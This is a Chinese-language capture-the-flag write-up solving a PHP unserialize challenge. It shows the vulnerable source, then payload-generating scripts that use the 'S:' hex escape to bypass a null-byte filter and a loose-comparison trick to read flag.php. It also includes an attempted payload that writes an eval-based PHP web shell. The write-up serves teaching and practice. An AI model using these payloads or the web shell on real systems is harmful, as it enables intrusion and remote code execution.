1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

进来给了源码是一个反序列化,我们在这里可以发现类的属性是protected有这个属性的成员在被序列化时,是会在属性名前加上\x00*\x00

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

而一开始又有这个函数来校验,这直接把\00给过滤了,也就是说正常序列化的payload是不行了

这里解决也很简单,采用S能解析十六进制的功能来绕过就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

。。。


if($this->op === "2")
$this->op = "1";

从这两段代码可以看出出题人有意让op一直等于1

1会执行一个写文件的操作,这里我尝试写木马上去

写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class FileHandler
{
protected $op;
protected $filename;
protected $content;

public function __construct()
{
$this->op = "1";
$this->filename = "shell.php";
$this->content = "<?php @eval(\$_GET['cmd']);?>";
}
}
$a = new FileHandler();
$a = serialize($a);
$a = preg_replace("/s:/", "S:", $a);
$a = urlencode($a);
$a = str_replace('%00', '\00', $a);
echo $a;
1
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3BS%3A1%3A%221%22%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A9%3A%22shell.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BS%3A28%3A%22%3C%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D

发payload过去后却显示这里是没有写入权限的

1
2
3
Warning: file_put_contents(shell.php): failed to open stream: Permission denied in /var/www/html/index.php on line 37
[Result]:
Failed!

然后我们只能通过读文件来获取flag了,注意看这段代码,是强比较

1
2
if($this->op === "2")
$this->op = "1";

而这个是弱比较

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

也就是说如果我们把op赋值为数字2,就不会被重新赋值为字符1,而且还能进入读文件操作

写一个脚本,这里是file_get_contents所以是可以直接包含文件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class FileHandler
{
protected $op;
protected $filename;
protected $content;

public function __construct()
{
$this->op = 2;
$this->filename = "flag.php";
}
}
$a = new FileHandler();
$a = serialize($a);
$a = preg_replace("/s:/", "S:", $a);
$a = urlencode($a);
$a = str_replace('%00', '\00', $a);
echo $a;

查看源码得到flag

1
<?php $flag='flag{0615d8f0-4795-4f3f-b4d2-c1afa5c26825}';